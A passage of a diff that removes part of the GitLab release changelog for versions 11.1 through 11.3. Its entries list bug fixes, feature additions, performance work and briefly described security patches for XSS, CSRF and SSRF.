-- Fix git submodule link for subgroup projects with relative path. !21154
-- Fix: Project deletion may not log audit events during group deletion. !21162
-- Fix 1px cutoff of emojis. !21180 (gfyoung)
-- Auto-DevOps.gitlab-ci.yml: update glibc package to 2.28. !21191 (sgerrand)
-- Show google icon in audit log. !21207 (Jan Beckmann)
-- Fix bin/secpick error and security branch prefixing. !21210
-- Importing a project no longer fails when visibility level holds a string value type. !21242
-- Fix attachments not displaying inline with Google Cloud Storage. !21265
-- Fix IDE issues with persistent banners. !21283
-- Fix "Confidential comments" button not saving in project hooks. !21289
-- Bump fog-google to 1.7.0 and google-api-client to 0.23.0. !21295
-- Don't use arguments keyword in gettext script. !21296 (gfyoung)
-- Fix breadcrumb link to issues on new issue page. !21305 (J.D. Bean)
-- Show '< 1%' when percent value evaluated is less than 1 on Stacked Progress Bar. !21306
-- API: Catch empty commit messages. !21322 (Robert Schilling)
-- Fix SQL error when sorting 2FA-enabled users by name in admin area. !21324
-- API: Catch empty code content for project snippets. !21325 (Robert Schilling)
-- Avoid nil safe message. !21326 (Yi Siliang)
-- Allow date parameters on Issues, Notes, and Discussions API for group owners. !21342 (Florent Dubois)
-- Fix remote mirrors failing if Git remotes have not been added. !21351
-- Removing a group no longer triggers hooks for project deletion twice. !21366
-- Use slugs for default project path and sanitize names before import. !21367
-- Vertically centres landscape avatars. !21371 (Vicary Archangel)
-- Fix Web IDE unable to commit to same file twice. !21372
-- Fix project transfer name validation issues causing a redirect loop. !21408
-- Fix Error 500s due to encoding issues when Wiki hooks fire. !21414
-- Rails 5: include opclasses in rails 5 schema dump. !21416 (Jasper Maes)
-- Bump GitLab Pages to v1.1.0. !21419
-- Fix links in RSS feed elements. !21424 (Marc Schwede)
-- Allow gaps in multiseries metrics charts. !21427
-- Auto-DevOps.gitlab-ci.yml: fix redeploying deleted app gives helm error. !21429
-- Use sample data for push event when no commits created. !21440 (Takuya Noguchi)
-- Fix importers not assigning a new default group. !21456
-- Fix edge cases of JUnitParser. !21469
-- Fix breadcrumb link to merge requests on new merge request page. !21502 (J.D. Bean)
-- Handle database statement timeouts in usage ping. !21523
-- Handles exception during file upload - replaces the stack trace with a small error message. !21528
-- Fix closing issue default pattern. !21531 (Samuele Kaplun)
-- Fix outdated discussions being shown on Merge Request Changes tab. !21543
-- Remove orphaned label links. !21552
-- Delete a container registry asynchronously. !21553
-- Make MR diff file filter input Clear button functional. !21556
-- Replace white spaces in wiki attachments file names. !21569
-- API: Use find_branch! in all places. !21614 (Robert Schilling)
-- Fixes double +/- on inline diff view. !21634
-- Fix broken exports when they include a projet avatar. !21649
-- Fix workhorse temp path for namespace uploads. !21650
-- Fixed resolved discussions not toggling expanded state on changes tab. !21676
-- Update GitLab Shell to v8.3.2. !21701
-- Fix absent Click to Expand link on diffs not rendered on first load of Merge Requests Changes tab. !21716
-- Update GitLab Shell to v8.3.3. !21750
-- Fix import error when archive does not have the correct extension. !21765
-- Fixed IDE deleting new files creating wrong state.
-- Does not collapse runners section when using pagination.
-- Fix Emojis cutting in the right way. (Alexander Popov)
-- Fix NamespaceUploader.base_dir for remote uploads.
-- Increase width of checkout branch modal box.
-- Fixes SVGs for empty states in job page overflowing on mobile.
-- Fix checkboxes on runner admin settings - The labels are now clickable.
-- Fixed IDE file row scrolling into view when hovering.
-- Accept upload files in public/uploads/tmp when using accelerated uploads.
-- Include correct CSS file for xterm in environments page.
-- Increase padding in code blocks.
-- Fix: Project deletion may not log audit events during user deletion.
-
-### Changed (32 changes, 5 of them are from the community)
-
-- Add default avatar to group. !17271 (George Tsiolis)
-- Allow project owners to set up forking relation through API. !18104
-- Limit navbar search for current project or group for small viewports. !18634 (George Tsiolis)
-- Add Noto Color Emoji font support. !19036 (Alexander Popov)
-- Update design of project overview page. !20536
-- Improve visuals of language bar on projects. !21006
-- Migrate NULL wiki_access_level to correct number so we count active wikis correctly. !21030
-- Support a custom action, such as proxying to another server, after /api/v4/internal/allowed check succeeds. !21034
-- Remove storage path dependency of gitaly install task. !21101
-- Support Kubernetes RBAC for GitLab Managed Apps when adding a existing cluster. !21127
-- Change 'Backlog' list title to 'Open' in Issue Boards. !21131
-- Enable Auto DevOps Instance Wide Default. !21157
-- Allow author to vote on their own issue and MRs. !21203
-- Truncate branch names and update "commits behind" text in MR page. !21206
-- Adds count for different board list types (label lists, assignee lists, and milestone lists) to usage statistics. !21208
-- Render files (`.md`) and wikis using CommonMark. !21228
-- Show deprecation message on project milestone page for category tabs. !21236
-- Remove redundant header from metrics page. !21282
-- Add default parameter to branches API. !21294 (Riccardo Padovani)
-- Restrict reopening locked issues for non authorized issue authors. !21299
-- Send back required object storage PUT headers in /uploads/authorize API. !21319
-- Display default status emoji if only message is entered. !21330
-- Move badge settings to general settings. !21333
-- Move project settings for default branch under "Repository". !21380
-- Import all common metrics into database. !21459
-- Improved commit panel in Web IDE. !21471
-- Administrative cleanup rake tasks now leverage Gitaly. !21588
-- Remove health check feature flag in BackgroundMigrationWorker.
-- Expose user's id in /admin/users/ show page. (Eva Kadlecova)
-- Improved styling of top bar in IDE job trace pane.
-- Make terminal button more visible.
-- Shows download artifacts button for pipelines on small screens.
-
-### Performance (13 changes, 2 of them are from the community)
-
-- Enable frozen string in rest of app/models/**/*.rb.
-- Add background migrations for legacy artifacts. !18615
-- Optimize querying User#manageable_groups. !21050
-- Incremental rendering with Vue on merge request page. !21063
-- Remove redundant ci_builds (status) index. !21070
-- Enable frozen in app/mailers/**/*.rb. !21147 (gfyoung)
-- Improve performance when fetching related merge requests for an issue. !21237
-- Speed up diff comparisons by limiting number of commit messages rendered. !21335
-- Write diff highlighting cache upon MR creation (refactors caching). !21489
-- Bulk-render commit titles in the tree view to improve performance. !21500
-- Enable frozen string in vestigial app files. (gfyoung)
-- Disable project avatar validation if avatar has not changed.
-- Bitbucket Server importer: Eliminate most idle-in-transaction issues.
-
-### Added (41 changes, 17 of them are from the community)
-
-- API: Protected tags. !14986 (Robert Schilling)
-- Include private contributions to contributions calendar. !17296 (George Tsiolis)
-- Add an option to whitelist users based on email address as internal when the "New user set to external" setting is enabled. !17711 (Roger Rüttimann)
-- Overhaul listing of projects in the group overview page. !20262
-- Add the ability to reference projects in comments and other markdown text. !20285 (Reuben Pereira)
-- Add branch filter to project webhooks. !20338 (Duana Saskia)
-- Allows to cancel a Created job. !20635 (Jacopo Beschi @jacopo-beschi)
-- First Improvements made to the contributor on-boarding experience. !20682 (Eddie Stubbington)
-- `/tag` quick action on Commit comments. !20694 (Peter Leitzen)
-- Allow admins to configure the maximum Git push size. !20758
-- Expose all artifacts sizes in jobs api. !20821 (Peter Marko)
-- Get the merge base of two refs through the API. !20929
-- Add ability to suppress the global "You won't be able to use SSH" message. !21027 (Ævar Arnfjörð Bjarmason)
-- API: Add expiration date for shared projects to the project entity. !21104 (Robert Schilling)
-- Added tooltips to tree list header. !21138
-- #47845 Add failure_reason to job webhook. !21143 (matemaciek)
-- Vendor Auto-DevOps.gitlab-ci.yml with new proxy env vars passed through to docker. !21159 (kinolaev)
-- Disable Auto DevOps for project upon first pipeline failure. !21172
-- Add rake command to migrate archived traces from local storage to object storage. !21193
-- Add Czech as an available language. !21201
-- Add Galician as an available language. !21202
-- Add support for extendable CI/CD config with. !21243
-- Disable Web IDE button if user is not allowed to push the source branch. !21288
-- Feature flag to disable Hashed Storage migration when renaming a repository. !21291
-- Store wiki uploads inside git repository. !21362
-- Adds Rubocop rule to enforce class_methods over module ClassMethods. !21379 (Jacopo Beschi @jacopo-beschi)
-- Merge request copies all associated issue labels and milestone on creation. !21383
-- Add group name badge under group milestone. !21384
-- Adds diverged_commits_count field to GET api/v4/projects/:project_id/merge_requests/:merge_request_iid. !21405 (Jacopo Beschi @jacopo-beschi)
-- Update Import/Export to only use new storage uploaders logic. !21409
-- Ask user explicitly about usage stats agreement on single user deployments. !21423
-- Added atom feed for tags. !21428
-- Add search to a group labels page. !21480
-- Display banner on project page if AutoDevOps is implicitly enabled. !21503
-- Recognize 'UNLICENSE' license files. !21508 (J.D. Bean)
-- Add git_v2 feature flag. !21520
-- Added file templates to the Web IDE.
-- Enabled multiple file uploads in the Web IDE.
-- Allow to delete group milestones.
-- Use separate model for tracking resource label changes and render label system notes based on data from this model.
-- Add system note when due date is changed. (Eva Kadlecova)
-
-### Other (48 changes, 16 of them are from the community)
-
-- Remove extra spaces from MR discussion notes. !18946 (Takuya Noguchi)
-- Add an example of the configuration of archive trace cron worker in gitlab.yml.example. !20583
-- Add target branch name to cherrypick confirmation message. !20846 (George Andrinopoulos)
-- CE Port of Protected Environments backend. !20859
-- Added missing i18n strings to issue boards lables dropdown. !21081
-- Combines emoji award spec files into single user_interacts_with_awards_in_issue_spec.rb file. !21126 (Nate Geslin)
-- Clarify current runners online text. !21151 (Ben Bodenmiller)
-- Rails5: Enable verbose query logs. !21231 (Jasper Maes)
-- Update presentation for SSO providers on log in page. !21233
-- Make margin of user status emoji consistent. !21268
-- Move usage ping payload from User Cohorts page to admin application settings. !21343
-- Add JSON logging for Bitbucket Server importer. !21378
-- Re-add project name field on "Create new project" page. !21386
-- Rails 5: replace removed silence_stream. !21387 (Jasper Maes)
-- Rails5 update Gemfile.rails5.lock. !21388 (Jasper Maes)
-- Rails5: fix can't quote ActiveSupport::HashWithIndifferentAccess. !21397 (Jasper Maes)
-- Don't show flash messages for performance bar errors. !21411
-- Backport schema_changed.sh from EE which prints the diff if the schema is different. !21422 (Jasper Maes)
-- Remove unused CSS part in mobile framework. !21439 (Takuya Noguchi)
-- Bump unauthenticated session time from 1 hour to 2 hours. !21453
-- Run review-docs-cleanup job for gitlab-org repos only. !21463 (Takuya Noguchi)
-- Rails 5: support schema t.index for mysql. !21485 (Jasper Maes)
-- Add route information to lograge structured logging for API logs. !21487
-- Add gitaly_calls attribute to API logs. !21496
-- Ignore irrelevant sql commands in metrics. !21498
-- Rails 5: fix hashed_path? method that looks up file_location that doesn't exist when running certain migration specs. !21510 (Jasper Maes)
-- Explicit hashed path check for trace, prevents background migration from accessing file_location column that doesn't exist. !21533 (Jasper Maes)
-- Add terminal_path to job API response. !21537
-- Add User-Agent to production_json.log. !21546
-- Make cluster page settings easier to read. !21550
-- Remove striped table styling of Find files and Admin Area Applications views. !21560 (Andreas Kämmerle)
-- Update ffi to 1.9.25. !21561 (Takuya Noguchi)
-- Send max_patch_bytes to Gitaly via Gitaly::CommitDiffRequest. !21575
-- Add margin between username and subsequent text in issuable header. !21697
-- Send artifact information in job API. !50460
-- Reduce differences between CE and EE code base in reports components.
-- Move project services log to a separate file.
-- Creates vue component for job log top bar with controllers.
-- Creates Vue component for trigger variables block in job log page.
-- Creates Vvue component for warning block about stuck runners.
-- Creates vue component for job log trace.
-- Creates vue component for erased block on job view.
-- Creates vue component for environments information in job log view.
-- Upgrade Monaco editor.
-- Creates empty state vue component for job view.
-- Creates vue component for commit block in job log page.
-- Creates vue components for stage dropdowns and job list container for job log view.
-- Creates Vue component for artifacts block on job page.
-
-
-## 11.2.8 (2018-10-31)
-
-### Security (1 change)
-
-- Monkey kubeclient to not follow any redirects.
-
-
-## 11.2.7 (2018-10-27)
-
-- No changes.
-
-## 11.2.6 (2018-10-26)
-
-### Security (5 changes)
-
-- Escape entity title while autocomplete template rendering to prevent XSS. !2558
-- Fix XSS in merge request source branch name.
-- Redact personal tokens in unsubscribe links.
-- Persist only SHA digest of PersonalAccessToken#token.
-- Prevent SSRF attacks in HipChat integration.
-
-
-## 11.2.5 (2018-10-05)
-
-### Security (3 changes)
-
-- Filter user sensitive data from discussions JSON. !2538
-- Properly filter private references from system notes.
-- Markdown API no longer displays confidential title references unless authorized.
-
-
-## 11.2.4 (2018-09-26)
-
-### Security (6 changes)
-
-- Redact confidential events in the API.
-- Set timeout for syntax highlighting.
-- Sanitize JSON data properly to fix XSS on Issue details page.
-- Fix stored XSS in merge requests from imported repository.
-- Fix xss vulnerability sourced from package.json.
-- Block loopback addresses in UrlBlocker.
-
-
-## 11.2.3 (2018-08-28)
-
-### Fixed (1 change)
-
-- Fixed cache invalidation issue with diff lines from 11.2.2.
-
-## 11.2.2 (2018-08-27)
-
-### Security (3 changes)
-
-- Fixed persistent XSS rendering/escaping of diff location lines.
-- Adding CSRF protection to Hooks resend action.
-- Block link-local addresses in URLBlocker.
-
-
-## 11.2.1 (2018-08-22)
-
-### Fixed (2 changes)
-
-- Fix wrong commit count in push event payload. !21338
-- Fix broken Git over HTTP clones with LDAP users. !21352
-
-### Performance (1 change)
-
-- Eliminate unnecessary and duplicate system hook fires. !21337
-
-
-## 11.2.0 (2018-08-22)
-
-### Security (5 changes)
-
-- Bump Gitaly to 0.117.1 for Rouge update. !21277
-- Fix symlink vulnerability in project import.
-- Bump rugged to 0.27.4 for security fixes.
-- Fixed XSS in branch name in Web IDE.
-- Adding CSRF protection to Hooks test action.
-
-### Removed (1 change)
-
-- Remove gitlab:user:check_repos, gitlab:check_repo, gitlab:git:prune, gitlab:git:gc, and gitlab:git:repack. !20806
-
-### Fixed (81 changes, 26 of them are from the community)
-
-- Fix namespace move callback behavior, especially to fix Geo replication of namespace moves during certain exceptions. !19297
-- Fix breadcrumbs in Admin/User interface. !19608 (Robin Naundorf)
-- Remove changes_count from MR API documentation where necessary. !19745 (Jan Beckmann)
-- Fix email confirmation bug when user adds additional email to account. !20084 (muhammadn)
-- Add support for daylight savings time to pipleline schedules. !20145
-- Fixing milestone date change when editing. !20279 (Orlando Del Aguila)
-- Add missing maximum_timeout parameter. !20355 (gfyoung)
-- [Rails5] Fix 'Invalid single-table inheritance type: Group is not a subclass of Gitlab::BackgroundMigration::FixCrossProjectLabelLinks::Namespace'. !20462 (@blackst0ne)
-- Rails5 fix mysql milliseconds problem in specs. !20464 (Jasper Maes)
-- Update Gemfile.rails5.lock with latest Gemfile.lock changes. !20466 (Jasper Maes)
-- Rails5 mysql fix milliseconds problem in pull request importer spec. !20475 (Jasper Maes)
-- Rails5 MySQL fix rename_column as part of cleanup_concurrent_column_type_change. !20514 (Jasper Maes)
-- Process commits as normal in forks when the upstream project is deleted. !20534
-- Fix project visibility tooltip. !20535 (Jamie Schembri)
-- Fix archived parameter for projects API. !20566 (Peter Marko)
-- Limit maximum project build timeout setting to 1 month. !20591
-- Fix GitLab project imports not loading due to API timeouts. !20599
-- Avoid process deadlock in popen by consuming input pipes. !20600
-- Disable SAML and Bitbucket if OmniAuth is disabled. !20608
-- Support multiple scopes when authing container registry scopes. !20617
-- Adds the ability to view group milestones on the dashboard milestone page. !20618
-- Allow issues API to receive an internal ID (iid) on create. !20626 (Jamie Schembri)
-- Fix typo in CSS transform property for Memory Graph component. !20650
-- Update design for system metrics popovers. !20655
-- Toggle Show / Hide Button for Kubernetes Password. !20659 (gfyoung)
-- Board label edit dropdown shows incorrect selected labels summary. !20673
-- Resolve "Unable to save user profile update with Safari". !20676
-- Escape username and password in UrlSanitizer#full_url. !20684
-- Remove background color from card-body style. !20689 (George Tsiolis)
-- Update total storage size when changing size of artifacts. !20697 (Peter Marko)
-- Rails5 fix user sees revert modal spec. !20706 (Jasper Maes)
-- Fix Web IDE crashing on directories named 'blob'. !20712
-- Fix accessing imported pipeline builds. !20713
-- Fixed bug with invalid repository reference using the wiki search. !20722
-- Resolve Copy diff file path as GFM is broken. !20725
-- Chart versions for applications installed by one click install buttons should be version locked. !20765
-- Fix misalignment of broadcast message on login page. !20794 (Robin Naundorf)
-- Fix Vue datatype errors for markdownVersion parsing. !20800
-- Fix authorization for interactive web terminals. !20811
-- Increase width of Web IDE sidebar resize handles. !20818
-- Fix new MR card styles. !20822
-- Fix link color in markdown code brackets. !20841
-- Rails5 update Gemfile.rails5.lock. !20858 (Jasper Maes)
-- fix height of full-width Metrics charts on large screens. !20866
-- Fix sorting by name on milestones page. !20881
-- Permit concurrent loads in gpg keychain mutex. !20894 (Jasper Maes)
-- Prevent editing and updating wiki pages with non UTF-8 encoding via web interface. !20906
-- Retrieve merge request closing issues from database cache. !20911
-- Fix LFS uploads not working with git-lfs 2.5.0. !20923
-- Fix bug setting http headers in Files API. !20938
-- Rails5: fix flaky spec. !20953 (Jasper Maes)
-- Fixed list of projects not loading in group boards. !20955
-- Fix autosave and ESC confirmation issues for MR discussions. !20968
-- Fix navigation to First and Next discussion on MR Changes tab. !20968
-- Fix rendering of the context lines in MR diffs page. !20968
-- fix error caused when using the search bar while unauthenticated. !20970
-- Fix GPG status badge loading regressions. !20987
-- Ensure links in notifications footer are not escaped. !21000
-- Rails5: update Rails5 lock for forgotten gem rouge. !21010 (Jasper Maes)
-- Fix UI error whereby prometheus application status is updated. !21029
-- Solves group dashboard line height is too tall for group names. !21033
-- Fix rendering of pipeline failure view when directly navigationg to it. !21043
-- Fix missing and duplicates on project milestone listing page. !21058
-- Fix merge requests not showing any diff files for big patches. !21125
-- Auto-DevOps.gitlab-ci.yml: Update glibc package signing key URL. !21182 (sgerrand)
-- Fix issue stopping Instance Statistics javascript to be executed. !21211
-- Fix broken JavaScript in IE11. !21214
-- Improve JUnit test reports in merge request widgets. !49966
-- Properly handle colons in URL passwords.
-- Renders test reports for resolved failures and resets error state.
-- Fix handling of annotated tags when Gitaly is not in use.
-- Fix serialization of LegacyDiffNote.
-- Escapes milestone and label's names on flash notice when promoting them.
-- Allow to toggle notifications for issues due soon.
-- Sanitize git URL in import errors. (Jamie Schembri)
-- Add missing predefined variable and fix docs.
-- Allow updating a project's avatar without other params. (Jamie Schembri)
-- Fix the UI for listing system-level labels.
-- Update hamlit to fix ruby 2.5 incompatibilities, fixes #42045. (Matthew Dawson)
-- Fix updated_at if created_at is set for Note API.
-- Fix search bar text input alignment.
-
-### Changed (32 changes, 7 of them are from the community)
-
-- Rack attack is now disabled by default. !16669
-- Include full image URL in webhooks for uploaded images. !18109 (Satish Perala)
-- Enable hashed storage for all newly created or renamed projects. !19747
-- Support manually stopping any environment from the UI. !20077
-- Close revert and cherry pick modal on escape keypress. !20341 (George Tsiolis)
-- Adds with_projects optional parameter to GET /groups/:id API endpoint. !20494
-- Improve feedback when a developer is unable to push to an empty repository. !20519
-- Display GPG status on repository and blob pages. !20524
-- Updated design of new entry dropdown in Web IDE. !20526
-- UX improvements to top nav search bar. !20537
-- Update issue closing pattern. !20554 (George Tsiolis)
-- Add merge request header branch actions left margin. !20643 (George Tsiolis)
-- Rubix, scikit-learn, tensorflow & other useful libraries pre-installed with JupyterHub. !20714 (Amit Rathi)
-- Show decimal place up to single digit in Stacked Progress Bar. !20776
-- Wrap job name on pipeline job sidebar. !20804 (George Tsiolis)
-- Redesign Web IDE back button and context header. !20850
-- Removes "show all" on reports and adds an actionButtons slot. !20855
-- Put fallback reply-key address first in the References header. !20871
-- Allow non-admins to view instance statistics (if permitted by the instance admins). !20874
-- Adds the project and group name to the return type for project and group milestones. !20890
-- Restyle status message input on profile settings. !20903
-- Ensure installed Helm Tiller For GitLab Managed Apps Is protected by mutual auth. !20928
-- Allow multiple JIRA transition ids. !20939
-- Use Helm 2.7.2 for GitLab Managed Apps. !20956
-- Create branch and MR picker for Web IDE. !20978
-- Update commit message styles with monospace font and overflow-x. !20988
-- Update to Rouge 3.2.0, including Terraform and Crystal lexer and bug fixes. !20991
-- Update design of project templates. !21012
-- Update to Rouge 3.2.1, which includes a critical fix to the Perl Lexer. !21263
-- Add a 10 ms bucket for SQL timings.
-- Show one digit after dot in commit_per_day value in charts page. (msdundar)
-- Redesign GCP offer banner.
-
-### Performance (30 changes, 10 of them are from the community)
-
-- Stop dynamically creating project and namespace routes. !20313
-- Tracking the number of repositories and wikis with a cached counter for site-wide statistics. !20413
-- Optimize ProjectWiki#empty? check. !20573
-- Delete UserActivities and related workers. !20597
-- Enable frozen string in app/services/**/*.rb. !20656 (gfyoung)
-- Enable more frozen string in app/services/**/*.rb. !20677 (gfyoung)
-- Limit the TTL for anonymous sessions to 1 hour. !20700
-- Enable even more frozen string in app/services/**/*.rb. !20702 (gfyoung)
-- Enable frozen string in app/serializers/**/*.rb. !20726 (gfyoung)
-- Enable frozen string in newly added files to previously processed directories. !20763 (gfyoung)
-- Use limit parameter to retrieve Wikis from Gitaly. !20764
-- Add Dangerfile for frozen_string_literal. !20767 (gfyoung)
-- Remove method instrumentation for Banzai filters and reference parsers. !20770
-- Enable frozen strings in lib/banzai/filter/*.rb. !20775
-- Enable frozen strings in remaining lib/banzai/filter/*.rb files. !20777
-- DNS prefetching if asset_host for CDN hosting is set. !20781
-- Bump nokogiri to 1.8.4 and sanitize to 4.6.6 for performance. !20795
-- Enable frozen string in app/presenters and app/policies. !20819 (gfyoung)
-- Bump haml gem to 5.0.4. !20847
-- Enable frozen string in app/models/*.rb. !20851 (gfyoung)
-- Performing Commit GPG signature calculation in bulk. !20870
-- Fix /admin/jobs failing to load due to statement timeout. !20909
-- refactor pipeline job log animation to reduce CPU usage. !20915
-- Improve performance when fetching collapsed diffs and commenting in merge requests. !20940
-- Enable frozen string for app/models/**/*.rb. !21001 (gfyoung)
-- Don't set gon variables in JSON requests. !21016 (Peter Leitzen)
-- Improve performance and memory footprint of Changes tab of Merge Requests. !21028
-- Avoid N+1 on MRs page when metrics merging date cannot be found. !21053
-- Bump Gitaly to 0.117.0. !21055
-- Access metadata directly from Object Storage.
-
-### Added (41 changes, 18 of them are from the community)
-
-- Show repository languages for projects. !19480
-- Adds API endpoint /api/v4/(project/group)/:id/members/all to list also inherited members. !19748 (Jacopo Beschi @jacopo-beschi)
-- Added live preview for JavaScript projects in the Web IDE. !19764
-- Add support for SSH certificate authentication. !19911 (Ævar Arnfjörð Bjarmason)
-- Add Hangouts Chat integration. !20290 (Kukovskii Vladimir)
-- Add ability to import multiple repositories by uploading a manifest file. !20304
-- Show Project ID on project home panel. !20305 (Tuğçe Nur Taş)
-- Add an option to have a private profile on GitLab. !20387 (jxterry)
-- Extend gitlab-ci.yml to request junit.xml test reports. !20390
-- Add the first mutations for merge requests to GraphQL. !20443
-- Add /-/health basic health check endpoint. !20456
-- Add filter for minimal access level in groups and projects API. !20478 (Marko, Peter)
-- Add download button for single file (including raw files) in repository. !20480 (Kia Mei Somabes)
-- Gitaly Servers link into Admin > Overview navigation menu. !20550
-- Adds foreign key to notification_settings.user_id. !20567 (Jacopo Beschi @jacopo-beschi)
-- JUnit XML Test Summary In MR widget. !20576
-- Cleans up display of Deploy Tokens to match Personal Access Tokens. !20578 (Marcel Amirault)
-- Users can set a status message and emoji. !20614 (niedermyer & davamr)
-- Add emails delivery Prometheus metrics. !20638
-- Verify runner feature set. !20664
-- Add more comprehensive metrics tracking authentication activity. !20668
-- Add support for tar.gz AUTO_DEVOPS_CHART charts (#49324). !20691 (@kondi1)
-- Adds Vuex store for reports section in MR widget. !20709
-- Redirect commits to root if no ref is provided (31576). !20738 (Kia Mei Somabes)
-- Search for labels by title or description on project labels page. !20749
-- Add object storage logic to project import. !20773
-- Enable renaming files and folders in Web IDE. !20835
-- Warn user when reload IDE with staged changes. !20857
-- Add local project uploads cleanup task. !20863
-- Improve error message when adding invalid user to a project. !20885 (Jacopo Beschi @jacopo-beschi)
-- Add link to homepage on static http status pages (404, 500, etc). !20898 (Jason Funk)
-- Clean orphaned files in object storage. !20918
-- Adds frontend support to render test reports on the MR widget. !20936
-- Trigger system hooks when project is archived/unarchived. !20995
-- Custom Wiki Sidebar Support Issue 14995. (Josh Sooter)
-- Emails on push recipients now accepts formats like John Doe <johndoe@example.com>. (George Thomas)
-- Add new model for tracking label events.
-- Improve danger confirmation modals by focusing input field. (Jamie Schembri)
-- Clicking CI icon in Web IDE now opens up pipelines panel.
-- Enabled deletion of files in the Web IDE.
-- Added button to regenerate 2FA codes. (Luke Picciau)
-
-### Other (26 changes, 7 of them are from the community)
-
-- Update specific runners help URL. !20213 (George Tsiolis)
-- Enable frozen string in apps/uploaders/*.rb. !20401 (gfyoung)
-- Update docs of Helm Tiller. !20515 (Takuya Noguchi)
-- Persist 'Auto DevOps' banner dismissal globally. !20540
-- Move xterm to a node dependency and remove it from vendor's folder. !20588
-- Upgrade grape-path-helpers to 1.0.6. !20601
-- Delete todos when user loses access to read the target. !20665
-- Remove tooltips from commit author avatar and name in commit lists. !20674
-- Allow cloning LFS repositories through DeployTokens. !20729
-- Replace 'Sidekiq::Testing.inline!' with 'perform_enqueued_jobs'. !20768 (@blackst0ne)
-- Replace author_link snake case in stylesheets, specs, and helpers. !20797 (George Tsiolis)
-- Replace snake case in SCSS variables. !20799 (George Tsiolis)
-- Add rbtrace to Gemfile. !20831
-- Add support for searching users by confirmed e-mails. !20893
-- Changes poll.js to keep polling on any 2xx http status code. !20904
-- Remove todos of users without access to targets migration. !20927
-- Improve and simplify Auto DevOps settings flow. !20946
-- Keep admin settings sections open after submitting forms. !21040
-- CE port of "List groups with developer maintainer access on project creation". !21051
-- Update git rerere link in docs. !21060 (gfyoung)
-- Add 'tabindex' attribute support on Icon component to show BS4 popover on trigger type 'focus'. !21066
-- Add a Gitlab::Profiler.print_by_total_time convenience method for profiling from a Rails console.
-- Automatically expand runner's settings block when linking to the runner's settings page.
-- Increases title column on modal for reports.
-- Disables toggle comments button if diff has no discussions.
-- Moves help_popover component to a common location.
-
-
-## 11.1.8 (2018-10-05)
-
-### Security (3 changes)
-
-- Filter user sensitive data from discussions JSON. !2539
-- Properly filter private references from system notes.
-- Markdown API no longer displays confidential title references unless authorized.
-
-
-## 11.1.7 (2018-09-26)
-
-### Security (6 changes)
-
-- Redact confidential events in the API.
-- Set timeout for syntax highlighting.
-- Sanitize JSON data properly to fix XSS on Issue details page.
-- Fix stored XSS in merge requests from imported repository.
-- Fix xss vulnerability sourced from package.json.
-- Block loopback addresses in UrlBlocker.
-
-
-## 11.1.6 (2018-08-28)
-
-### Fixed (1 change)
-
-- Fixed cache invalidation issue with diff lines from 11.2.2.
-
-## 11.1.5 (2018-08-27)
-
-### Security (3 changes)
-
-- Fixed persistent XSS rendering/escaping of diff location lines.
-- Adding CSRF protection to Hooks resend action.
-- Block link-local addresses in URLBlocker.
-
-### Fixed (1 change, 1 of them is from the community)
-
-- Sanitize git URL in import errors. (Jamie Schembri)
-
-
-## 11.1.4 (2018-07-30)
-
-### Fixed (4 changes, 1 of them is from the community)
-
-- Rework some projects table indexes around repository_storage field. !20377
-- Don't overflow project/group dropdown results. !20704 (gfyoung)
-- Fixed IDE not opening JSON files. !20798
-- Disable Gitaly timeouts when creating or restoring backups. !20810
-
-## 11.1.3 (2018-07-27)
-
-- Not released.
-
-## 11.1.2 (2018-07-26)
-
-### Security (4 changes)
-
-- Adding CSRF protection to Hooks test action.
-- Don't expose project names in GitHub counters.
-- Don't expose project names in various counters.
-- Fixed XSS in branch name in Web IDE.
-
-### Fixed (1 change)
-
-- Escapes milestone and label's names on flash notice when promoting them.
-
-### Performance (1 change)
-
-- Fix slow Markdown rendering. !20820
-
-
-## 11.1.1 (2018-07-23)
-
-### Fixed (2 changes)
-
-- Add missing Gitaly branch_update nil checks. !20711
-- Fix filename for accelerated uploads.
-
-### Added (1 change)
-
-- Add uploader support to Import/Export uploads. !20484
-
-
-## 11.1.0 (2018-07-22)
-
-### Security (6 changes)
-
-- Fix XSS vulnerability for table of content generation.
-- Update sanitize gem to 4.6.5 to fix HTML injection vulnerability.
-- HTML escape branch name in project graphs page.
-- HTML escape the name of the user in ProjectsHelper#link_to_member.
-- Don't show events from internal projects for anonymous users in public feed.
-- Fix symlink vulnerability in project import.
-
-### Removed (1 change)
-
-- Remove deprecated object_storage_upload queue.
-
-### Fixed (98 changes, 52 of them are from the community)
-
-- Keep lists ordered when copying only list items. !18522 (Jan Beckmann)
-- Fix bug where maintainer would not be allowed to push to forks with merge requests that have `Allow maintainer edits` enabled. !18968
-- mergeError message has been binded using v-html directive. !19058 (Murat Dogan)
-- Set MR target branch to default branch if target branch is not valid. !19067
-- Fix CSS for buttons not to be hidden on issues/MR title. !19176 (Takuya Noguchi)
-- Use same gem versions for rails5 as for rails4 where possible. !19498 (Jasper Maes)
-- Fix extra blank line at start of rendered reStructuredText code block. !19596
-- Fix username validation order on signup, resolves #45575. !19610 (Jan Beckmann)
-- Make quick commands case insensitive. !19614 (Jan Beckmann)
-- Remove incorrect CI doc re: PowerShell. !19622 (gfyoung)
-- Fixes Microsoft Teams notifications for pipeline events. !19632 (Jeff Brown)
-- Fix branch name encoding for dropdown on issue page. !19634
-- Rails5 fix expected `issuable.reload.updated_at` to have changed. !19733 (Jasper Maes)
-- Rails5 fix stack level too deep. !19762 (Jasper Maes)
-- Rails5 ActionController::ParameterMissing: param is missing or the value is empty: application_setting. !19763 (Jasper Maes)
-- Invalidate cache with project details when repository is updated. !19774
-- Rails5 fix no implicit conversion of Hash into String. ActionController::Parameters no longer returns an hash in Rails 5. !19792 (Jasper Maes)
-- [Rails5] Fix snippets_finder arel queries. !19796 (@blackst0ne)
-- Fix fields for author & assignee in MR API docs. !19798 (gfyoung)
-- Remove scrollbar in Safari in repo settings page. !19809 (gfyoung)
-- Omits operartions and kubernetes item from project sidebar when repository or builds are disabled. !19835
-- Rails5 fix passing Group objects array into for_projects_and_groups milestone scope. !19863 (Jasper Maes)
-- Fix chat service tag notifications not sending when only default branch enabled. !19864
-- Only show new issue / new merge request on group page when issues / merge requests are enabled. !19869 (Jan Beckmann)
-- [Rails5] Explicitly set request.format for blob_controller. !19876 (@blackst0ne)
-- [Rails5] Fix optimistic lock value. !19878 (@blackst0ne)
-- Rails5 fix update_attribute usage not causing a save. !19881 (Jasper Maes)
-- Rails5 fix connection execute return integer instead of string. !19901 (Jasper Maes)
-- Rails5 fix format in uploads actions. !19907 (Jasper Maes)
-- [Rails5] Fix "-1 is not a valid data_store". !19917 (@blackst0ne)
